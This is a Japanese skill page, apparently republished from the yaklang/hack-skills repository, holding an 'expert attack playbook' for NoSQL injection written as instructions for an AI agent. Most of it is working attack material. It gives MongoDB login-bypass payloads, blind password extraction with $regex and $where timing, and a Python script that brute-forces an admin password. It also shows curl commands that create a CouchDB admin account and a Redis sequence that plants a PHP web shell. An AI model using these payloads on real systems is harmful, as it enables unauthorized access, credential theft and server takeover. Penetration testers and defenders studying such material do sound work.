nosql-injection
NoSQLインジェクションに関する対応手順書。MongoDBスタイルの演算子、JSONクエリオブジェクト、柔軟な検索フィルター、またはバックエンドのクエリDSLがデータや処理ロジックの悪用を招く可能性がある場合に使用します。
description の原文を見る
>- NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.
SKILL.md 本文
SKILL: NoSQL インジェクション — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: NoSQL インジェクションは SQL インジェクションとは根本的に異なります。MongoDB オペレータインジェクション、認証回避、ブラインド抽出、集約パイプラインインジェクション、Redis/CouchDB 固有の攻撃をカバーします。SQL インジェクションパターンのみを知るテスターによって見落とされることが非常に多いです。
1. 中核概念 — オペレータインジェクション
SQL インジェクション は文字列リテラルから脱出します。
NoSQL インジェクション は クエリオペレータ を注入してクエリロジックを変更します。
MongoDB の例 — 通常のクエリ:
db.users.find({username: "alice", password: "secret"})
JSON オペレータによる注入:
{
"username": "admin",
"password": {"$gt": ""}
}
→ 結果: find({username:"admin", password:{$gt:""}}) → password > "" → 常に true!
2. MONGODB — ログイン回避
JSON Body インジェクション (JSON Content-Type の API)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 配列インジェクション (URL エンコードフォーム)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params 配列インジェクション
PHP と同じ — ブラケット記号を使用してオブジェクトを注入:
?username[%24ne]=invalid&password[%24ne]=invalid
%24 = URL エンコード済み $
3. MONGODB インジェクション用オペレータ
| オペレータ | 意味 | ユースケース |
|---|---|---|
$ne | 等しくない | {"password": {"$ne": "x"}} → 常にマッチ |
$gt | より大きい | {"password": {"$gt": ""}} → 空でないすべてのパスワードがマッチ |
$gte | 以上 | $gt と同様 |
$lt | より小さい | {"password": {"$lt": "~"}} → すべての ASCII がマッチ |
$regex | 正規表現マッチ | {"username": {"$regex": "adm.*"}} |
$where | JS 式 | 最も危険 — コード実行 |
$exists | フィールドが存在 | {"admin": {"$exists": true}} |
$in | 配列内 | {"username": {"$in": ["admin","user"]}} |
4. $REGEX による ブラインドデータ抽出
SQL インジェクションのバイナリサーチと同様に、$regex を使用してフィールド値を 1 文字ずつ抽出します:
// admin のパスワードが 'a' で始まるか?
{"username": "admin", "password": {"$regex": "^a"}}
// admin のパスワードが 'b' で始まるか?
{"username": "admin", "password": {"$regex": "^b"}}
// 続行: 各位置を絞り込む
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
レスポンスの違い: 成功したログイン対失敗したログイン = ブール値オラクル。
自動化 は NoSQLMap または文字セットのバイナリサーチを使用したカスタムスクリプトで行います。
5. MONGODB $WHERE インジェクション (JS 実行)
$where は MongoDB コンテキストで JavaScript を評価します。
現在のドキュメントのフィールドのみを使用できます — システムアクセスなし。しかしロジック悪用は可能:
{"$where": "this.username == 'admin' && this.password.length > 0"}
// タイミングを使用したブラインド抽出:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// JS を使用した正規表現:
{"$where": "this.username.match(/^adm/) && true"}
制限: $where は OS コマンド実行を提供しません — サーバーサイド JS インジェクション (コマンドインジェクションと混同しないでください)。
6. 集約パイプラインインジェクション
ユーザー制御データが $match または $group ステージに入る場合:
// 脆弱なコード:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])
オペレータを注入して回避:
// オブジェクトとしての入力:
{"$ne": null} → すべてのカテゴリにマッチ
{"$regex": ".*"} → すべてにマッチ
7. NOSQL 用 HTTP パラメータ汚染
一部フレームワーク (Express.js、PHP) は繰り返しパラメータを配列として解析します:
?filter=value1&filter=value2 → filter = ["value1", "value2"]
Node.js の qs ライブラリ解析動作を使用:
?filter[$ne]=invalid
→ 解析結果: filter = {$ne: "invalid"}
→ NoSQL オペレータインジェクション
8. COUCHDB 攻撃
HTTP Admin API (公開されている場合)
# データベースの一覧:
curl http://target.com:5984/_all_dbs
# DB 内のすべてのドキュメントを読み取り:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# 管理者アカウントを作成 (匿名アクセスが許可されている場合):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
9. REDIS インジェクション
Redis が公開されている (6379) で認証がない場合 — Redis クエリで使用される入力を使用したコマンドインジェクション:
# SSRF または直接注入を使用:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
認証回避 (シンプルパスワードを使用した旧い Redis で requirepass):
AUTH password
AUTH 123456
AUTH redis
AUTH admin
10. 検出ペイロード
NoSQL バックエンドで処理されるあらゆる入力にこれらを送信します:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=
JSON バリアント テスト (Content-Type を application/json に変更)エンドポイントがフォームベースの場合):
{"username": "admin", "password": {"$ne": ""}}
11. NOSQL VS SQL — 主な違い
| 側面 | SQLi | NoSQLi |
|---|---|---|
| 言語 | SQL 構文 | クエリオペレータオブジェクト |
| 注入ベクトル | 文字列連結 | オブジェクト/オペレータインジェクション |
| 一般的な信号 | クォートがレスポンスを破損 | {$ne:x} がレスポンスを変更 |
| 抽出方法 | UNION / エラーベース | $regex 文字オラクル |
| 認証回避 | ' OR 1=1-- | {"password":{"$ne":""}} |
| OS コマンド | xp_cmdshell (MSSQL) | 稀 ($where + CVE が必要) |
| フィンガープリント | DB 固有のエラーメッセージ | "cannot use $" エラー |
12. テストチェックリスト
□ ログインフィールドを JSON body でテスト: {"$ne": "invalid"}
□ URL エンコードフォームをテスト: password[$ne]=invalid
□ $regex をテストしてフィールド値をブラインド列挙
□ sleep() を使用した $where をタイムベースブラインドで試行
□ CouchDB の 5984 ポートをチェック (未認証管理者)
□ Redis の 6379 ポートをチェック (未認証)
□ フォームエンドポイントで Content-Type: application/json を試行
□ オペレータ関連エラーメッセージを監視 ("BSON" "operator" "$not allowed")
13. ブラインド NOSQL 抽出自動化
$regex 文字ごとの抽出 (Python テンプレート)
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")
URL エンコード GET パラメータ経由の $regex
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# ログインが成功するまで文字セットを反復処理
重複キー回避
// アプリが 1 つのキーをチェックしますが別のキーを処理する場合:
{"id": "10", "id": "100"}
// JSON パーサーは通常最後の出現を使用
// 回避: WAF は id=10 を検証、アプリは id=100 を処理
14. 集約パイプラインインジェクション
ユーザー入力が MongoDB 集約パイプラインステージに到達する場合:
// ユーザーが $match ステージを制御する場合:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT はユーザーから
])
// インジェクション: 文字列の代わりにオブジェクトを提供
// INPUT = {"$gt": ""} → すべてのドキュメントにマッチ
// $lookup でクロスコレクションデータアクセス:
// $lookup ステージがインジェクション可能な場合:
{ $lookup: {
from: "admin_users", // 攻撃者が選択したコレクション
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out で結果を新しいコレクションに書き込み:
{ $out: "public_collection" } // クエリ結果をアクセス可能なコレクションに書き込み
$where JavaScript 実行
// $where は任意の JavaScript を許可 (危険):
db.users.find({ $where: "this.username == 'admin'" })
// 入力が $where に到達する場合:
// インジェクション: ' || 1==1 || '
// または: '; return true; var x='
// タイムベース: '; sleep(5000); var x='
// データ流出: '; if(this.password[0]=='a'){sleep(5000)}; var x='
参考: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
注記: $where はサーバー上で JavaScript を実行します。ロジック悪用とタイミングオラクル以外に、タイトな V8 サンドボックスのない旧い MongoDB ビルドは歴史的に RCE の懸念を引き起こしていました。あらゆる $where シンクを高リスクとして扱うことをお勧めします。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。